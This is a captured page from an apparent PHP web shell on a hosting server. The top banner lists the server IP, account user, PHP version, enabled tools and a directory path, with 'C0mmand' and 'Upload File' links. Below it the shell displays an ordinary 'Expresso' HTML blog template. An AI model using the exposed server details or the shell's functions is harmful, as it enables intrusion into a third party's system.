|
Server IP : 185.61.154.36 / Your IP : 216.73.216.120 Web Server : Apache System : Linux host67.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 User : gettoplisting ( 12043) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/gettoplisting/public_html/../yedek/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<!--[if lt IE 7]><html dir="ltr" lang="en-US" class="ie6"><![endif]-->
<!--[if IE 7]><html dir="ltr" lang="en-US" class="ie7"><![endif]-->
<!--[if IE 8]><html dir="ltr" lang="en-US" class="ie8"><![endif]-->
<!--[if gt IE 8]><!--><html dir="ltr" lang="en-US"><!--<![endif]-->
<head>
<meta content="text/html;charset=utf-8" http-equiv="content-type" />
<meta name="description" content="cmsmasters responsive html5 website template" />
<meta name="keywords" content="html5, css3, template, responsive, adaptive" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<link rel="shortcut icon" href="images/favicon.ico" type="image/x-icon" />
<link rel="stylesheet" href="css/style.css" type="text/css" media="screen" />
<link rel="stylesheet" href="css/styles/fonts.css" type="text/css" media="screen" />
<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=Droid+Serif:regular,italic,bold,bolditalic" type="text/css" />
<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=Crete+Round:400,400italic" type="text/css">
<link rel="stylesheet" href="css/styles/jquery.prettyPhoto.css" type="text/css" media="screen" />
<link rel="stylesheet" href="css/styles/jquery.jPlayer.css" type="text/css" media="screen" />
<!--[if lt IE 9]>
<link rel="stylesheet" href="css/styles/ie.css" type="text/css" />
<link rel="stylesheet" href="css/styles/ie_css3.css" type="text/css" media="screen" />
<![endif]-->
<script src="js/modernizr.custom.all.js" type="text/javascript"></script>
<script src="js/css3MediaQueries.js" type="text/javascript"></script>
<script src="js/jquery.min.js" type="text/javascript"></script>
<script src="js/jquery.easing.js" type="text/javascript"></script>
<title>Expresso - Responsive HTML5 Site Template</title>
</head>
<body>
<!-- __________________________________________________ Start Page -->
<section id="page">
<a href="#" id="slide_top"></a>
<!-- __________________________________________________ Start Header -->
<header id="header">
<div class="header">
<a class="logo" href="index.html"><img src="images/logo.png" alt="" /></a>
<a class="resp_navigation" href="javascript:void(0);"><span><span></span></span></a>
<nav>
<ul id="navigation">
<li><a href="javascript:void(0);"><span>Home<span>Hello!</span></span></a>
<ul>
<li><a href="index.html"><span>Home</span></a></li>
<li><a href="index2.html"><span>Home 2</span></a></li>
</ul>
</li>
<li><a href="javascript:void(0);"><span>Features<span>Tasty cakes</span></span></a>
<ul>
<li><a href="javascript:void(0);"><span>Shortcodes</span></a>
<ul>
<li><a href="buttons.html"><span>Buttons</span></a></li>
<li><a href="boxes.html"><span>Information Boxes</span></a></li>
<li><a href="columns.html"><span>Columns</span></a></li>
<li><a href="tooltips.html"><span>Tooltips</span></a></li>
<li><a href="tabs.html"><span>Tabs & Toggle</span></a></li>
<li><a href="shortcodes.html"><span>Post Type Shortcode</span></a></li>
<li><a href="media.html"><span>Media</span></a></li>
<li><a href="player.html"><span>Audio & Video Players</span></a></li>
<li><a href="lightboxes.html"><span>Lightboxes</span></a></li>
<li><a href="tour.html"><span>Site Tour</span></a></li>
<li><a href="googlemaps.html"><span>Google Maps</span></a></li>
</ul>
</li>
<li><a href="typography.html"><span>Typography</span></a></li>
<li><a href="javascript:void(0);"><span>Layouts</span></a>
<ul>
<li><a href="about.html"><span>About</span></a></li>
<li><a href="services.html"><span>Services</span></a></li>
<li><a href="error.html"><span>404 Error Page</span></a></li>
<li><a href="sitemap.html"><span>Sitemap</span></a></li>
<li><a href="lsidebar.html"><span>Left Sidebar</span></a></li>
<li><a href="rsidebar.html"><span>Right Sidebar</span></a></li>
</ul>
</li>
<li><a href="javascript:void(0);"><span>Heading Templates</span></a>
<ul>
<li><a href="heading.html"><span>Standard Heading</span></a></li>
<li><a href="heading_icon.html"><span>With Icon</span></a></li>
<li><a href="heading_text.html"><span>With Text</span></a></li>
<li><a href="heading_icon_text.html"><span>Heading With Icon & Text</span></a></li>
</ul>
</li>
</ul>
</li>
<li><a href="javascript:void(0);"><span>Portfolio<span>Showcase</span></span></a>
<ul>
<li><a href="javascript:void(0);"><span>Sortable Portfolio</span></a>
<ul>
<li><a href="portfolio_sort_one.html"><span>One Column</span></a></li>
<li><a href="portfolio_sort_two.html"><span>Two Columns</span></a></li>
<li><a href="portfolio_sort_three.html"><span>Three Columns</span></a></li>
<li><a href="portfolio_sort_four.html"><span>Four Columns</span></a></li>
</ul>
</li>
<li><a href="javascript:void(0);"><span>Portfolio Without Sorting</span></a>
<ul>
<li><a href="portfolio_one.html"><span>One Column</span></a></li>
<li><a href="portfolio_two.html"><span>Two Columns</span></a></li>
<li><a href="portfolio_three.html"><span>Three Columns</span></a></li>
<li><a href="portfolio_four.html"><span>Four Columns</span></a></li>
</ul>
</li>
<li><a href="javascript:void(0);"><span>Project Layouts</span></a>
<ul>
<li><a href="project_slider.html"><span>Image Slider</span></a></li>
<li><a href="project_video.html"><span>Video</span></a></li>
<li><a href="album_four.html"><span>Album Four Columns</span></a></li>
<li><a href="album_three.html"><span>Album Three Columns</span></a></li>
<li><a href="album_two.html"><span>Album Two Columns</span></a></li>
<li><a href="album_one.html"><span>Album One Column</span></a></li>
</ul>
</li>
</ul>
</li>
<li class="current_page_item"><a href="javascript:void(0);"><span>Our Blogs<span>What's new?</span></span></a>
<ul>
<li class="current_page_item"><a href="blog_sidebar.html"><span>Blog With Sidebar</span></a></li>
<li><a href="blog_fwidth.html"><span>Full Width Blog</span></a></li>
<li><a href="openpost.html"><span>Blog Post</span></a></li>
</ul>
</li>
<li><a href="contacts.html"><span>Contacts<span>Get in touch</span></span></a></li>
</ul>
</nav>
</div>
</header>
<!-- __________________________________________________ Finish Header -->
<!-- __________________________________________________ Start Middle -->
<div class="container">
<div class="cont_nav">
<a href="index.html">Home</a> / <a href="blog_sidebar.html">Our Blogs</a> / Blog With Sidebar
</div>
<section id="middle">
<div class="middle_inner">
<section id="top_sidebar">
<div class="headline">
<h4>Blogs</h4>
</div>
</section>
<!-- __________________________________________________ Start Content -->
<div class="content_wrap">
<section id="content">
<div class="entry_summary">
<section class="blog">
<article class="post hentry">
<header class="entry-header">
<h2 class="entry-title"><a href="openpost.html">Standard post with image</a></h2>
</header>
<figure>
<a href="openpost.html" class="preloader inBlog">
<img src="images/img/blog_2.jpg" alt="" class="fullwidth" />
</a>
</figure>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
<div class="entry-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia. Praesent ligula felis, auctor a rutrum quis, aliquet ac lorem. Donec eget pellentesque libero. Curabitur accumsan metus et nulla rutrum quis eleifend felis luctus.</p>
</div>
<a href="openpost.html" class="button"><span>Learn More</span></a>
</article>
<div class="divider"></div>
<article class="post hentry format-noimg">
<header class="entry-header">
<h2 class="entry-title"><a href="openpost.html">Standard post with image</a></h2>
</header>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
<div class="entry-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia. Praesent ligula felis, auctor a rutrum quis, aliquet ac lorem. Donec eget pellentesque libero. Curabitur accumsan metus et nulla rutrum quis eleifend felis luctus.</p>
</div>
<a href="openpost.html" class="button"><span>Learn More</span></a>
</article>
<div class="divider"></div>
<article class="post hentry format-aside">
<div class="entry-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia. Praesent ligula felis, auctor a rutrum quis, aliquet ac lorem.</p>
</div>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
</article>
<div class="divider"></div>
<article class="post hentry format-link">
<header class="entry-header">
<hgroup>
<h2 class="entry-title"><a href="openpost.html">[Link] Good music to listen</a></h2>
<h6 style="color:#b2b2b2; margin-top:-20px;">- Soundcloud.com - </h6>
</hgroup>
</header>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
<div class="entry-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia.</p>
</div>
<a href="openpost.html" class="button"><span>Learn More</span></a>
</article>
<div class="divider"></div>
<article class="post format-gallery hentry">
<header class="entry-header">
<h2 class="entry-title"><a href="openpost.html">Image / Gallery post format</a></h2>
</header>
<div class="shortcode_slideshow" id="slideshow_1">
<div class="shortcode_slideshow_body">
<script type="text/javascript">
jQuery(document).ready(function () {
jQuery('#slideshow_1 .shortcode_slideshow_slides').cmsmsResponsiveContentSlider( {
sliderWidth : '100%',
sliderHeight : 'auto',
animationSpeed : 500,
animationEffect : 'slide',
animationEasing : 'easeInOutExpo',
pauseTime : 0,
activeSlide : 1,
touchControls : true,
pauseOnHover : false,
arrowNavigation : false,
slidesNavigation : true
} );
} );
</script>
<div class="shortcode_slideshow_container">
<ul class="shortcode_slideshow_slides responsiveContentSlider">
<li>
<figure>
<img src="images/img/blog_1.jpg" alt="Slide 1" class="fullwidth" />
</figure>
</li>
<li>
<figure>
<img src="images/img/blog_2.jpg" alt="Slide 2" class="fullwidth" />
</figure>
</li>
<li>
<figure>
<img src="images/img/blog_3.jpg" alt="Slide 3" class="fullwidth" />
</figure>
</li>
</ul>
</div>
</div>
</div>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
<div class="entry-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia. Praesent ligula felis, auctor a rutrum quis, aliquet ac lorem. Donec eget pellentesque libero. Curabitur accumsan metus et nulla rutrum quis eleifend felis luctus.</p>
</div>
<a href="openpost.html" class="button"><span>Learn More</span></a>
</article>
<div class="divider"></div>
<article class="post format-audio hentry">
<header class="entry-header">
<h2 class="entry-title"><a href="openpost.html">Audio post format</a></h2>
</header>
<script type="text/javascript">
jQuery(document).ready(function () {
jQuery('#jquery_jplayer_4').jPlayer( {
ready : function () {
jQuery(this).jPlayer('setMedia', {
m4a : 'http://www.jplayer.org/audio/m4a/TSP-01-Cro_magnon_man.m4a',
oga : 'http://www.jplayer.org/audio/ogg/TSP-01-Cro_magnon_man.ogg'
} );
},
cssSelectorAncestor : '#jp_container_4',
swfPath : 'css/styles',
supplied : 'mp3, m4a, ogg, oga, webm, webma, wav',
wmode : 'window'
} );
} );
</script>
<div id="jquery_jplayer_4" class="jp-jplayer" style="display:none;"></div>
<div id="jp_container_4" class="jp-audio">
<div class="jp-type-single">
<div class="jp-gui jp-interface">
<div class="jp-progress">
<div class="jp-seek-bar">
<div class="jp-play-bar"></div>
</div>
</div>
<div class="jp-duration"></div>
<div class="jp-time-sep">/</div>
<div class="jp-current-time"></div>
<div class="jp-controls-holder">
<ul class="jp-controls">
<li><a href="#" class="jp-play" title="Play" tabindex="1"><span>play</span></a></li>
<li><a href="#" class="jp-pause" title="Pause" tabindex="1"><span>pause</span></a></li>
<li><a href="#" class="jp-stop" title="Stop" tabindex="1"><span>stop</span></a></li>
</ul>
<div class="jp-volume-bar">
<div class="jp-volume-bar-value"></div>
</div>
<ul class="jp-toggles">
<li><a class="jp-mute" href="#" title="Mute" tabindex="1"><span>Mute</span></a></li>
<li><a class="jp-unmute" title="Unmune" href="#" tabindex="1" style="display:none;"><span>Unmute</span></a></li>
</ul>
</div>
</div>
<div class="jp-title">
<ul>
<li></li>
</ul>
</div>
<div class="jp-no-solution" style="display:none;">
<span>Update Required</span>To play the media you will need to either update your browser to a recent version or update your <a target="_blank" href="http://get.adobe.com/flashplayer/">Flash plugin</a>
</div>
</div>
</div>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
<div class="entry-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia.</p>
</div>
<a href="openpost.html" class="button"><span>Learn More</span></a>
</article>
<div class="divider"></div>
<article class="post format-video hentry">
<header class="entry-header">
<h2 class="entry-title"><a href="openpost.html">Video post format</a></h2>
</header>
<script type="text/javascript">
jQuery(document).ready(function () {
jQuery('#jquery_jplayer_1').jPlayer( {
ready : function () {
jQuery(this).jPlayer('setMedia', {
m4v : 'http://www.jplayer.org/video/m4v/Big_Buck_Bunny_Trailer_480x270_h264aac.m4v',
ogv : 'http://www.jplayer.org/video/ogv/Big_Buck_Bunny_Trailer_480x270.ogv',
poster : 'http://www.jplayer.org/video/poster/Big_Buck_Bunny_Trailer_480x270.png'
} );
},
cssSelectorAncestor : '#jp_container_1',
swfPath : 'css/styles',
supplied : 'mp4, m4v, ogg, ogv, webm, webmv',
size : {
width : '100%',
height : '100%'
}
} );
} );
</script>
<div id="jp_container_1" class="jp-video fullwidth">
<div class="jp-type-single">
<div id="jquery_jplayer_1" class="jp-jplayer"></div>
<div class="jp-gui">
<div class="jp-video-play" >
<a href="#" class="jp-video-play-icon" title="Play">Play</a>
</div>
<div class="jp-interface">
<div class="jp-progress">
<div class="jp-seek-bar">
<div class="jp-play-bar"></div>
</div>
</div>
<div class="jp-duration"></div>
<div class="jp-time-sep">/</div>
<div class="jp-current-time"></div>
<div class="jp-controls-holder">
<ul class="jp-controls">
<li><a href="#" class="jp-play" title="Play" tabindex="1"><span>play</span></a></li>
<li><a href="#" class="jp-pause" title="Pause" tabindex="1"><span>pause</span></a></li>
<li><a href="#" class="jp-stop" title="Stop" tabindex="1"><span>stop</span></a></li>
</ul>
<div class="jp-volume-bar">
<div class="jp-volume-bar-value"></div>
</div>
<ul class="jp-toggles">
<li><a class="jp-mute" href="#" title="Mute" tabindex="1"><span>Mute</span></a></li>
<li><a class="jp-unmute" title="Unmune" href="#" tabindex="1"><span>Unmute</span></a></li>
<li><a class="jp-full-screen" title="Full Screen" href="#" tabindex="1"><span>Full Screen</span></a></li>
<li><a class="jp-restore-screen" title="Restore Screen" href="#" tabindex="1" style="display:none;"><span>Restore Screen</span></a></li>
</ul>
<div class="jp-title">
<ul>
<li></li>
</ul>
</div>
</div>
</div>
<div class="jp-no-solution" style="display:none;">
<span>Update Required</span>To play the media you will need to either update your browser to a recent version or update your <a target="_blank" href="http://get.adobe.com/flashplayer/">Flash plugin</a>
</div>
</div>
</div>
</div>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
<div class="entry-content">
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia.</p>
</div>
<a href="openpost.html" class="button"><span>Learn More</span></a>
</article>
<div class="divider"></div>
<article class="post hentry format-quote">
<div class="entry-content">
<blockquote>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nibh metus, feugiat et laoreet a, commodo at velit. Nullam tempor purus ut libero faucibus lacinia. Praesent ligula felis, auctor a rutrum quis, aliquet ac lorem.</blockquote>
<p style="text-align:right;">John Snow</p>
</div>
<footer class="entry-meta">
<div class="cmsms_info">
<abbr class="published" title="05.18.2012 ">05.18.2012</abbr>
by <a href="#" class="user_name">admin</a> in <a href="#" class="category_name">business</a>, <a href="">success</a>
<a href="#" class="comments_number">15</a>
</div>
</footer>
</article>
</section>
</div>
</section>
<!-- __________________________________________________ Finish Content -->
<!-- __________________________________________________ Start Sidebar -->
<section id="sidebar">
<div class="sidebar_inner">
<div class="one_first">
<aside class="widget widget_text">
<h3 class="widgettitle">What we do</h3>
<p>Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
<p>Pellentesque tristique volutpat nunc, id rhoncus augue tristique sed. In at nisln ulla, et vestibulum risus. Fermentum in eros. Nulla sed magna dui. et vestibulum risus. Fermentum in eros. Nulla sed magna dui. Maecenas sollicitudin pulvinar</p>
<a href="#" class="button"><span>Learn More</span></a>
</aside>
</div>
<div class="cl"></div>
<div class="divider"></div>
<div class="one_first">
<aside class="widget widget_custom_flickr_entries">
<h3 class="widgettitle">Flickr</h3>
<ul id="flickr_images"></ul>
<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('#flickr_images').jflickrfeed({
limit: 6,
qstrings: {
id: '49053047@N04'
},
itemTemplate: '<li><a href="{{image_b}}"><img src="{{image_s}}" alt="{{title}}" /></a></li>'
});
});
</script>
</aside>
</div>
<div class="cl"></div>
<div class="divider"></div>
<div class="one_first">
<aside class="widget widget_custom_advertising_entries">
<h3 class="widgettitle">Advertising</h3>
<ul>
<li><a href="#"><img src="images/img/advertising_img_1.jpg" alt="" /></a></li>
<li><a href="#"><img src="images/img/advertising_img_2.jpg" alt="" /></a></li>
<li><a href="#"><img src="images/img/advertising_img_3.jpg" alt="" /></a></li>
<li><a href="#"><img src="images/img/advertising_img_4.jpg" alt="" /></a></li>
</ul>
</aside>
</div>
<div class="cl"></div>
</div>
</section>
<!-- __________________________________________________ Finish Sidebar -->
</div>
</div>
</section>
<!-- __________________________________________________ Finish Middle -->
<!-- __________________________________________________ Start Bottom -->
<section id="bottom">
<div class="bottom_inner">
<div class="one_fourth">
<aside class="widget widget_custom_portfolio_entries">
<script type="text/javascript">
jQuery(document).ready(function () {
jQuery('.widget_custom_portfolio_entries_slides').cmsmsResponsiveContentSlider( {
sliderWidth : '100%',
sliderHeight : 'auto',
animationSpeed : 500,
animationEffect : 'slide',
animationEasing : 'easeInOutExpo',
pauseTime : 5000,
activeSlide : 1,
touchControls : true,
pauseOnHover : false,
arrowNavigation : false,
slidesNavigation : true
} );
} );
</script>
<div class="widget_custom_portfolio_entries_container bottom_content_slider">
<h4 class="widgettitle">Sliding article</h4>
<ul class="widget_custom_portfolio_entries_slides responsiveContentSlider">
<li>
<figure>
<img src="images/img/sliding_1.jpg" alt="" class="fullwidth" />
</figure>
<a href="#" class="widget_portfolio_link">Semper nunc metus</a>
<p>Pellentesque tristique volutpat nunc, id rhoncus augue tristique </p>
<br>
</li>
<li>
<figure>
<img src="images/img/sliding_2.jpg" alt="" class="fullwidth" />
</figure>
<a href="#" class="widget_portfolio_link">Semper nunc metus</a>
<p>Pellentesque tristique volutpat nunc, id rhoncus augue tristique </p>
<br>
</li>
<li>
<figure>
<img src="images/img/sliding_3.jpg" alt="" class="fullwidth" />
</figure>
<a href="#" class="widget_portfolio_link">Semper nunc metus</a>
<p>Pellentesque tristique volutpat nunc, id rhoncus augue tristique </p>
<br>
</li>
</ul>
</div>
</aside>
</div>
<div class="one_fourth">
<aside class="widget widget_custom_tweets_entries">
<h4 class="widgettitle">Twitter</h4>
<div id="tweetFeed"></div>
<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('#tweetFeed').jTweetsAnywhere({
username: 'cmsmasters',
count: 2,
showTweetFeed : {
showTwitterBird: false
}
});
});
</script>
</aside>
</div>
<div class="one_fourth">
<aside class="widget widget_links">
<h4 class="widgettitle">List widget</h4>
<ul>
<li><a href="#">Styling options</a></li>
<li><a href="#">Theme options</a></li>
<li><a href="#">Sidebars & widgets</a></li>
<li><a href="#">Shortcodes</a></li>
<li><a href="#">Blogs & posts</a></li>
<li><a href="#">Sliders & slides</a></li>
<li><a href="#">Contact form builder</a></li>
<li><a href="#">Demo content</a></li>
<li><a href="#">Gallery & albums</a></li>
<li><a href="#">Page options</a></li>
</ul>
</aside>
</div>
<div class="one_fourth">
<aside class="widget widget_custom_contact_form_entries">
<h4 class="widgettitle">Quick contacts</h4>
<div class="cmsms-form-builder">
<div class="widgetinfo">Thank you! <br />Your message has been sent successfully.</div>
<script type="text/javascript">
jQuery(document).ready(function () {
jQuery('#form_contact_form_widget_001').validationEngine('init');
jQuery('#form_contact_form_widget_001 a#contact_form_widget_001_wformsend').click(function () {
var form_builder_url = jQuery('#contact_form_widget_001_wurl').val();
jQuery('#form_contact_form_widget_001 .loading').animate( {
opacity : 1
} , 250);
if (jQuery('#form_contact_form_widget_001').validationEngine('validate')) {
jQuery.post(form_builder_url, {
field_002 : jQuery('#field_002').val(),
field_004 : jQuery('#field_004').val(),
formname : 'contact_form_widget_001',
formtype : 'widget'
}, function () {
jQuery('#form_contact_form_widget_001 .loading').animate( { opacity : 0 }, 250);
document.getElementById('form_contact_form_widget_001').reset();
jQuery('#form_contact_form_widget_001').parent().find('.widgetinfo').hide();
jQuery('#form_contact_form_widget_001').parent().find('.widgetinfo').fadeIn('fast');
jQuery('html, body').animate( { scrollTop : (jQuery('#form_contact_form_widget_001').offset().top - 100) }, 'slow');
jQuery('#form_contact_form_widget_001').parent().find('.widgetinfo').delay(5000).fadeOut(1000);
} );
return false;
} else {
jQuery('#form_contact_form_widget_001 .loading').animate( { opacity : 0 }, 250);
return false;
}
} );
} );
</script>
<form action="#" method="post" id="form_contact_form_widget_001">
<div class="form_info cmsms_input">
<label for="field_002">Your email<span class="color_3"> *</span></label>
<input type="text" name="wname" id="field_002" size="22" tabindex="11" class="validate[required,custom[email]]" />
</div>
<div class="form_info cmsms_textarea">
<label for="field_004">Message<span class="color_3"> *</span></label>
<textarea name="wmessage" id="field_004" cols="28" rows="6" tabindex="13" class="validate[required,minSize[3]]"></textarea>
</div>
<div class="fr"><a href="#" id="contact_form_widget_001_wformsend" class="button" tabindex="14"><span>Submit</span></a></div>
<div class="loading"></div>
<div><input type="hidden" name="contact_form_widget_001_wurl" id="contact_form_widget_001_wurl" value="http://your-site.net/php/sendmail.php" /></div><!-- Here you need to set the path to the sendmail file -->
</form>
</div>
</aside>
</div>
</div>
</section>
<!-- __________________________________________________ Finish Bottom -->
</div>
</section>
<!-- __________________________________________________ Finish Page -->
<!-- __________________________________________________ Start Footer -->
<footer id="footer">
<div class="footer_inner">
<div class="fr">
<p class="fl">Find us elsewhere</p>
<ul class="social_list fr">
<li><a href="#" class="link_tooltip" title="Facebook"><img src="images/socicons/facebook.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Flickr"><img src="images/socicons/flickr.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Twitter"><img src="images/socicons/twitter.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Last fm"><img src="images/socicons/lastfm.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Vimeo"><img src="images/socicons/vimeo.png" alt="" /></a></li>
<li><a href="#" class="link_tooltip" title="Google+"><img src="images/socicons/googleplus.png" alt="" /></a></li>
</ul>
</div>
<span>Expresso © 2012 All rights reserved</span>
<div class="cl"></div>
</div>
</footer>
<!-- __________________________________________________ Finish Footer -->
<script src="js/jquery.prettyPhoto.js" type="text/javascript"></script>
<script src="js/jquery.script.js" type="text/javascript"></script>
<script src="js/jquery.validationEngine.js" type="text/javascript"></script>
<script src="js/jquery.validationEngine-lang.js" type="text/javascript"></script>
<script src="js/jquery.jPlayer.min.js" type="text/javascript"></script>
<script src="js/jquery.jPlayer.playlist.min.js" type="text/javascript"></script>
<script src="js/jquery.jtweetsanywhere.js" type="text/javascript"></script>
<script src="js/jquery.flickrfeed.min.js" type="text/javascript"></script>
</body>
</html>